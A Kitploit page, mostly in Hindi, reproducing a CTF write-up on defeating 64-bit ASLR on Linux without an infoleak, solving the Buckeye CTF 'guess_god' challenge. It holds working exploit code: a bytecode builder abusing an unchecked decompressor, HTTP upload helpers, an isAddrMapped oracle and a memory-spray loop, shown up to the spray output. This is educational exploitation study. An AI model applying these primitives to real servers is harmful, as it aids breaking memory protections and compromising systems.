Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
how-to-bypass-aslr-on-linux-x86_64 — ASLR bypass without infoleak | Kitploit
उपकरण/GitHubGitHub/nick0ve/how-to-bypass-aslr-on-linux-x86_64
ExploitationCTFLearning & EducationBinary Exploitation
GitHubnick0ve/how-to-bypass-aslr-on-linux-x86_64

how-to-bypass-aslr-on-linux-x86_64

ASLR bypass without infoleak

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
167174 साल पहलेKitploit द्वारा समीक्षित

Linux x86-64 पर 64-बिट aslr को तोड़ना

इस लेख में, मैं Samuel Groß द्वारा अपने Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass में वर्णित तकनीक के अनुप्रयोग पर चर्चा करूँगा, ताकि Linux x86_64 पर ASLR को बायपास किया जा सके।

इसे दिखाने के लिए मैं Buckeye CTF से एक pwnable चुनौती, guess_god, हल करूँगा।

मैं सामग्री को यथासंभव शुरुआती-अनुकूल रखने की कोशिश करूँगा, इसलिए यदि आप काफी आत्मविश्वासी हैं और सिर्फ एक्सप्लॉइट देखना चाहते हैं तो किसी भी अनुभाग को छोड़ने में संकोच न करें।

0. परिचय


मैंने CTF नहीं खेला, लेकिन CTF समाप्त होने से लगभग 2 घंटे पहले मुझे इस चुनौती में दिलचस्पी हो गई, Guray00 की बदौलत, जो fibonhack डिस्कॉर्ड में कुछ क्रिप्टो संबंधी शरारतों के बारे में मदद माँग रहे थे।

मैं उसकी मदद नहीं कर सका, लेकिन मैंने pwnable चुनौतियों पर नज़र डाली, और सोचा कि P0 ब्लॉगपोस्ट को समझना अच्छा होगा और उम्मीद है कि वह इनाम मिल जाए।

1. ASLR और इसे कैसे बायपास करें

1.1 ASLR क्या है?

Address Space Layout Randomization (ASLR) एक कंप्यूटर सुरक्षा तकनीक है जिसमें किसी प्रक्रिया के एड्रेस स्पेस में एक निष्पादन योग्य (executable) के बेस एड्रेस तथा लाइब्रेरीज़, हीप और स्टैक की स्थिति को यादृच्छिक रूप से स्थित किया जाता है।

1.2 Linux पर ASLR

Linux पर, आप किसी प्रक्रिया का pid दिए जाने पर procfs के माध्यम से उसकी मैपिंग्स देख सकते हैं, फ़ाइल /proc/<pid>/maps को पढ़कर।

यदि आप एक प्रक्रिया हैं और अपनी खुद की मेमोरी मैपिंग्स जानना चाहते हैं, तो आप /proc/self/maps पढ़ सकते हैं।

उदाहरण के लिए, आप cat के साथ /proc/self/maps पढ़ने का प्रयास कर सकते हैं:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap] 7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0 7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0 7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack] 7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar] 7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@kitploit:~
### मेमोरी मैपिंग पैटर्न

यदि आप इसे कुछ बार करते हैं, तो आप अनुमान लगा सकते हैं कि:
* बाइनरी PIE बेस 0x00005500_00000000-0x00005700_00000000 की रेंज में होना चाहिए, जिसका अर्थ है 2TB संभावित पते।
* हीप बाइनरी के पास होता है।
* लाइब्रेरीज़ 0x00007f00_00000000 - 0x00007fff_ffffffff की रेंज में आती हैं, 1TB संभावित पते।
* स्टैक \(ज़्यादातर समय\) 0x00007ffc_00000000 - 0x00007fff_ffffffff की रेंज में जाता है, 16gb संभावित पते।
* रेंज 0xffffffffff600000 - 0xffffffffff601000 हमेशा मैप होती है, यदि आप उत्सुक हैं कि यह क्या है तो आप [यह लेख](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso) पढ़ सकते हैं।

## 1.3 बिना infoleak के ASLR को कैसे बायपास करें

आइए चर्चा करें कि जब कोई information leak संभव न हो तो आप ASLR को बायपास करने के लिए क्या कर सकते हैं।

यह Saelo के ब्लॉगपोस्ट को पढ़कर मुझे जो समझ आया, उसे सारांशित करने का मेरा प्रयास है।

ASLR को बायपास करने के लिए आपको चाहिए:
* एक memory spraying तकनीक, जो आपको दिए गए आकार की सन्निहित मेमोरी को, पतों की दी गई रेंज पर मैप करने देती है।
  
  जैसा कि वह कहते हैं, इसे करने के दो तरीके हैं:
  1. memory leak का दुरुपयोग करके (information leak नहीं!), एक बग जिसमें मेमोरी का एक हिस्सा "भूल" जाता है और कभी freed नहीं होता, और इसे तब तक कई बार trigger करना जब तक वांछित मात्रा में मेमोरी leak न हो जाए।
  2. एक "amplification gadget" ढूंढकर और उसका दुरुपयोग करके: कोड का एक टुकड़ा जो डेटा के मौजूदा हिस्से को लेता है और उसे कॉपी करता है, संभावित रूप से कई बार, जिससे attacker अपेक्षाकृत कम संख्या में bytes भेजकर बड़ी मात्रा में मेमोरी spray कर सकता है।
* एक `isAddressMapped` oracle, जो एक पता देने पर बताता है कि वह पता mapped है या नहीं।

### Linux पर ASLR बायपास का PoC

आइए Linux पर aslr को पूरी तरह से तोड़ने के लिए saelo के PoC को reproduce करने का प्रयास करें।

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> saelo's poc</i> <p/> <br/>

Linux पर यह इतना आसान नहीं है, ASLR को पूरी तरह से तोड़ना केवल तभी संभव है जब आप 16TB मेमोरी allocate करने में सक्षम हों।```C
#include <stdio.h>
#include <stdlib.h>

int main()
{
    // 64gb
    size_t size = 0x1000000000;

    // 16TB allocations
    for (int i = 0; i < 256; i++) {
        void *mem = malloc(size); // this ends up calling mmap
        if (!mem) {
            puts("Failed");
            return 1;
        }
        printf("%p\n", mem);
    }

    unsigned int *mem = (void*)0x7f0000000000ULL;
    *mem = 0x41414141;
    printf("R/W to %p: %x\n", mem, *mem);

    return 0;
}

glibc मेमोरी आवंटन के बारे में नोट

man malloc के नोट्स से:

  • सामान्यतः, malloc() हीप से मेमोरी आवंटित करता है, और sbrk(2) का उपयोग करके आवश्यकतानुसार हीप का आकार समायोजित करता है। MMAP_THRESHOLD बाइट्स से बड़े मेमोरी ब्लॉक्स को आवंटित करते समय, glibc malloc() कार्यान्वयन mmap(2) का उपयोग करके मेमोरी को एक निजी अनाम मैपिंग के रूप में आवंटित करता है। MMAP_THRESHOLD डिफ़ॉल्ट रूप से 128 kB है, लेकिन mallopt(3) का उपयोग करके इसे समायोजित किया जा सकता है। mmap(2) के माध्यम से किए गए आवंटन RLIMIT_DATA संसाधन सीमा से प्रभावित नहीं होते हैं (देखें getrlimit(2))।

इसलिए void *mem = malloc(size) अंततः mmap(size + malloc_metadata_size, ...) को कॉल करेगा

चूँकि लाइब्रेरीज़ ld द्वारा mmap के माध्यम से प्रोसेस में मैप की जाती हैं, वे आवंटन लाइब्रेरीज़ के पास समाप्त होंगे।

सीमा पार ट्रिक

यदि आप malloc द्वारा लौटाए गए पतों को देखें, तो आप बेहतर समझ सकते हैं कि क्या हो रहा है। प्रो टिप: सबसे महत्वपूर्ण बाइट्स को देखें।

poc इस तथ्य का शोषण कर रहा है कि किसी बिंदु पर, लौटाए गए पते का सबसे महत्वपूर्ण बाइट 7F से 7E में बदल जाता है, और चूँकि आवंटन सन्निहित हैं, उस सीमा के भीतर कुछ तो होना चाहिए। (हाँ, हम इस समस्या को हल करने के लिए बोल्ज़ानो-वीयरस्ट्रैस प्रमेय लागू कर रहे हैं!)

2 चुनौती

लेखक की बदौलत, ज़िप में बाइनरी, सोर्स कोड और डॉकरफ़ाइल शामिल हैं ताकि रिमोट वातावरण जैसा ही वातावरण दोबारा तैयार किया जा सके।


2.1 प्रारंभिक पहुँच

पर्यावरण के बारे में कुछ जानकारी हासिल करना हमेशा अच्छा होता है, आइए फ़ाइलों को देखें और कुछ नोट्स लें।

  • jail.cfg कुछ प्रतिबंधों को निर्धारित करता है, आइए उन सीमाओं को न भूलें क्योंकि वे एक्सप्लॉइट को बिगाड़ सकती हैं: ```yaml time_limit: 300 cgroup_cpu_ms_per_sec: 100 cgroup_pids_max: 64 rlimit_fsize: 2048 rlimit_nofile: 2048 cgroup_mem_max: 1073741824 # 1GB
    root@kitploit:~
  • Dockerfile से हम कुछ दिलचस्प चीजें सीख सकते हैं:
    1. oatpp 1.2.5 को बिल्ड और इंस्टॉल करें, शायद इस विशेष संस्करण में उपयोगी बग्स हों?

      root@kitploit:~
      # Install oatpp
      RUN git clone https://github.com/oatpp/oatpp.git
      RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
      
    2. यह चैलेंज को शुरू से बिल्ड करता है

      root@kitploit:~
      WORKDIR /home/ctf/challenge/src/
      RUN mkdir -p src/build && cd src/build && cmake .. && make
      RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt /   home/  ctf/challenge/
      

      यह एक समस्या हो सकती है, इसलिए हम वितरित बाइनरीज़ की कॉपी कर लेते हैं।

      root@kitploit:~
      COPY bins/flag_server-exe /home/ctf/challenge/
      COPY bins/libkylezip.so /home/ctf/challenge/
      
  • और आखिरी बात, दिए गए बाइनरीज़ के सुरक्षा उपायों की जाँच करें


    बढ़िया, libkylezip.so को Partial RELRO के साथ कंपाइल किया गया है, इसका मतलब है कि GOT लिखने योग्य है, जब हम कोड एक्ज़ीक्यूशन प्राप्त करना चाहें तो इसे ध्यान में रखें।

2.2 स्थानीय वातावरण सेट करें और एप्लिकेशन को परखें

docker-compose.yml फ़ाइल प्रदान की गई है, इसलिए परखने के लिए एक कार्यशील स्थानीय वातावरण प्राप्त करना बिल्कुल भी कठिन नहीं है। आप में से जो लोग डॉकर के साथ सहज नहीं हैं, उनके लिए चुनौती को स्थानीय रूप से परखने के लिए आवश्यक कमांड्स की सूची नीचे दी गई है।```bash docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container

docker ps # list containers docker exec -it # exec COMMAND into the container

root@kitploit:~
`docker-compose build` करने के बाद आप कंटेनर शुरू करने के लिए `docker-compose up` चला सकते हैं, और `nc 127.0.0.1 9000` के साथ चैलेंज से कनेक्ट कर सकते हैं
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/> 

# 3. सोर्स कोड विश्लेषण

अब जब हमें ASLR को बायपास करने के लिए क्या करना चाहिए, इसकी कुछ बुनियादी जानकारी है, आइए सोर्स कोड देखें, ध्यान रखते हुए कि हम यह चाहते हैं:
* ज्ञात मेमोरी रेंज में मेमोरी स्प्रे करने का एक तरीका
* एक isAddrMapped ऑरेकल

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> सोर्स कोड फ़ोल्डर </i><p/> 

यह अधिकतर एक oatpp वेब सर्वर को चालू करने के लिए ग्लू कोड है, वास्तव में महत्वपूर्ण फाइलें जिनका हम विश्लेषण करने वाले हैं:
* src/controller/MyController.*
* kylezip/decompress.*

## 3.1 MyController.*

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/> 

यहाँ 3 एंडपॉइंट हैं:
* `/`
* `GET /files/{fileId}` -> पहले अपलोड की गई फ़ाइल डाउनलोड करें; यदि extract true है, तो डाउनलोड करने से पहले उसे extract करें।
* `POST /upload/{fileId}` -> दिए गए {fileId} के लिए एक फ़ाइल अपलोड करें।

और एक फ़ंक्शन `MyController.cpp` में लागू किया गया है।```C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract) 

कौन-सा:

  • to_open को {file_id} या {file_id}.unkyle पर सेट करें ```C std::ostringstream comp_fname; comp_fname << filename; if (extract) { // Want the un-kylezip-d version comp_fname << ".unkyle"; } auto to_open = comp_fname.str();

    root@kitploit:~
  • यदि हम पहली बार {file_id} को निकालने का अनुरोध कर रहे हैं, तो यह उस पर decompress कॉल करता है, जो {file_id} की डीकंप्रेस्ड फ़ाइल को {file_id}.unkyle पर लिखेगा। ```C int fd = open(to_open.c_str(), O_RDONLY); if (fd == -1) { if (!extract) return NULL;

    root@kitploit:~
    /* Need to create decompressed version of file
     * Kyle gave me a buggy library so we are going to fork
     * in case we crash the web server will still stay up.
     */
    pid_t p = fork();
    if (p == 0) {
      decompress(filename);
      exit(0);
    } else {
      waitpid(p, NULL, 0);
    }
    
    
    fd = open(to_open.c_str(), O_RDONLY);
    if (fd == -1) {
      return NULL;
    }
    

    }

    root@kitploit:~
  • अंत में परिणाम को मेमोरी में mmap करें। ```C struct stat sb;

Observations

  • fork() कॉलिंग प्रोसेस की नकल करके एक नई प्रक्रिया बनाता है, fork() के समय दोनों मेमोरी स्पेस की सामग्री समान होती है।

    इसलिए यदि हम decompress() को एक oracle में बदल पाते हैं जो:

    • बुरे पतों पर क्रैश करता है
    • अच्छे पतों पर क्रैश नहीं करता

    हम उस primitive का उपयोग पैरेंट की मेमोरी स्पेस का अनुमान लगाने के लिए कर सकते हैं।

  • पैरेंट प्रोसेस में mmap का एक कॉल है: ```C void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

    root@kitploit:~

यदि हम sb.st_size को नियंत्रित कर सकते हैं, जो डीकंप्रेस की गई फ़ाइल का आकार है, तो हम इसे आसानी से मेमोरी स्प्रेइंग प्रिमिटिव में बदल सकते हैं।

3.2 decompress.*

decompress()```C

int decompress(const char *fname)

root@kitploit:~
* इनपुट फ़ाइल को पते `0x42069000000` पर मैप करता है।
* आउटपुट फ़ाइल को पते `0x13371337000` पर मैप करता है।
* do_decompress() को कॉल करता है जो डीकंप्रेसन पूरा करता है।

फ़ाइल निम्न प्रारूप में होने की उम्मीद है:
| ऑफसेट | नाम | प्रकार | विवरण |
| - | - | - | - | 
| +0h | magic | uint64 | एक magic value, जिसके 0x0123456789abcdef होने की उम्मीद है |
| +8h | filesize | uint64 | डीकंप्रेस की गई फ़ाइल का आकार |

### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)

You can view this function as a simple virtual machine, which executes the bytecode pointed by in and writes the output to the buffer pointed by out.

in points to our {file_id}.

out points to {file_id.unkyle}.

This VM has 4 opcodes:

  • 0 -> NOP

  • 1 -> STORE(u8 b)

    b को out में लिखता है, out को 1 से बढ़ाता है।

    Opcode implementation: ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }

    root@kitploit:~
  • 2 -> SEEK(u64 off)

    out को out + off पर सेट करें।

    out और off 64-बिट मान हैं, इसलिए out = out+off वही है जो out = (out+off) % MAX_64BIT_VALUE है, इसे पूर्णांक अतिप्रवाह कहा जाता है और हम इस व्यवहार का फायदा उठाकर किसी भी 64-बिट मान तक पहुँच सकते हैं। उदाहरण: ```py M64 = (1<<64) # Maximum 64bit value def get_off(out: int, target: int): return (target-out) % M64

    We are at 0xffffffff, what can we add to reach 0?

    print ('{:#x}'.format(get_off(0xffffffff, 0)))

Opcode कार्यान्वयन: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }

root@kitploit:~
* 3 -> LOAD(off, size). 
`size` बाइट्स को `out - off` से `out` में कॉपी करें, `out` को 8 से बढ़ाएँ।

Opcode कार्यान्वयन:  ```C
case 3: {
  // Copy some previously written bytes
  uint64_t off = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  uint64_t count = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  memcpy(out, out-off, count);
  out += count;
  break;
}

किसी भी ऑपरेशन में बाउंड्स चेक नहीं है, जो हमें 2 उपयोगी प्रिमिटिव देता है:

  • क्या कहाँ पढ़ें, SEEK+LOAD का दुरुपयोग करके
  • क्या कहाँ लिखें: SEEK+STORE का दुरुपयोग करके

मैंने बाइटकोड बनाने के लिए यह कोड इस्तेमाल किया:```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1

class CompressedFile(): slots = ['cur', 'content', 'out']

root@kitploit:~
def __init__(self, filesize):
    self.cur = 16
    self.content = b''
    self.content += p64(0x0123456789abcdef) # magic
    self.content += p64(filesize) # file size
    self.out = OUT_ADDR

def nop(self):
    self.content += b'\x00'
    self.cur += 1

def write(self, b: bytes):
    assert len(b) == 1

    self.content += b'\x01' + b
    self.cur += 2
    self.out += 1

def seek(self, off):
    self.content += b'\x02'
    self.content += p64(off)
    self.cur += 9

def memcpy(self, off, count):
    # memcpy(out, out-off, count);
    self.content += b'\x03'
    self.content += p64(off)
    self.content += p64(count)
    self.cur += 17
root@kitploit:~
# 4. बाइनरी के साथ इंटरैक्ट करना

शोषण चरण में गहराई से जाने से पहले, हमेशा कुछ ऐसा बनाना अच्छा होता है जो आपको बाइनरी के साथ आसानी से इंटरैक्ट करने में मदद करे, ताकि समय बर्बाद न हो।```py
import requests

def uploadFile(blob: bytes, fileid: int):
    assert (fileid < (1<<31) - 1)

    multipart_form_data = {
        'file': (f'payload_{fileid}', blob),
    }

    res = requests.post(
        f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
        files=multipart_form_data
    )

    return res

def getFile(fileid: int, extract="true"):
    res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
    return res

चुनौती की मेमोरी मैपिंग का निरीक्षण करें

चुनौती को हल करने की कोशिश करते समय यह मेरे लिए बहुत महत्वपूर्ण था, मैंने बहुत समय तक मेमोरी मैपिंग को घूरकर देखा।

ऐसा करने के लिए, आप चुनौती का एक स्थानीय इंस्टेंस स्पॉन कर सकते हैं और कुछ ऑपरेशन करने के बाद प्रोसेस मैप्स को पढ़ सकते हैं।


4.2 isAddrMapped ओरेकल

हमें एक read-what-where प्रिमिटिव दिया गया है, इसलिए isAddressMapped ओरेकल बनाना बिल्कुल भी कठिन नहीं है।

इसे करने का मेरा तरीका इस बाइटकोड को बनाना था:

  • memcpy(out, targetAddress, 1)
  • write(b'A')

अगर targetAddress mapped नहीं है, तो चाइल्ड प्रोग्राम memcpy पर segfault हो जाता है, जिससे हमें null बाइट्स से भरी एक decompressed फ़ाइल मिलती है।

अगर targetAddress mapped है, तो decompressed फ़ाइल के दूसरे बाइट में b'\x41' होता है।```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)

root@kitploit:~
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')

uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41

return isMapped
root@kitploit:~
## 4.3 Memory Spray प्रिमिटिव

हम डीकंप्रेस्ड फ़ाइल के आकार को पूरी तरह नियंत्रित कर सकते हैं, और हमें उस आकार का mmap [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/dist-guess-god/src/src/controller/MyController.cpp#L62) में मिलता है।

अपने एक्सप्लॉइट में मैंने `isAddrMapped` फ़ंक्शन का उपयोग किया, और filelen बदल दिया।

उदाहरण के लिए, आकार = 0x4000000 = 64mb का एक सतत चंक आवंटित करने का प्रयास करते हैं।```py
isAddrMapped(IN_ADDR, 0, 0x4000000)

यही परिणाम है:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...

root@kitploit:~
यदि आप इसे फिर से करने का प्रयास करते हैं:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)

यही परिणाम है:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle

root@kitploit:~
बढ़िया! एकाधिक आवंटनों में कोई अंतराल नहीं होगा।

## 4.4 कितनी मेमोरी स्प्रे करें?

जैसा कि आप [इस poc](#poc-of-aslr-bypass-on-linux) में देख सकते हैं, सतत मैप की गई मेमोरी के लिए आदर्श आकार 16TB होगा।

दुर्भाग्य से, यदि आप रिमोट सर्वर पर 16TB मेमोरी आवंटित करने का प्रयास करते हैं, तो mmap विफल हो जाएगा, क्योंकि [nsjail इस पर सीमा लगाता है](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold)।

कुछ परीक्षण और त्रुटि के बाद मैंने पाया कि मैं इस कोड के साथ ~3840mb मेमोरी स्प्रे कर सकता हूँ:```py
size =    0x000004000000
for i in range(0, 60):
    print ('.', end='')
    isAddrMapped(IN_ADDR, i, size)

परिणामी मेमोरी मैपिंग कुछ इस प्रकार होगी:

Memory Spray परिणाम```

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps ... My spray: ... 7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle 7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle 7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle 7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle 7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle 7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle 7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle 7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle 7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle 7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle 7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle 7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle 7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle 7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle 7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle 7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle 7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle 7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle 7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle 7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle 7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle 7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle 7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle 7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle 7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle 7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle 7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle 7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle 7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle 7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle 7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle 7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle 7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle 7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle 7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle 7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle 7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle 7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle 7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle 7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle 7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle 7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle 7fe384000000-7fe388000000 r--p 00000000 00:af 37 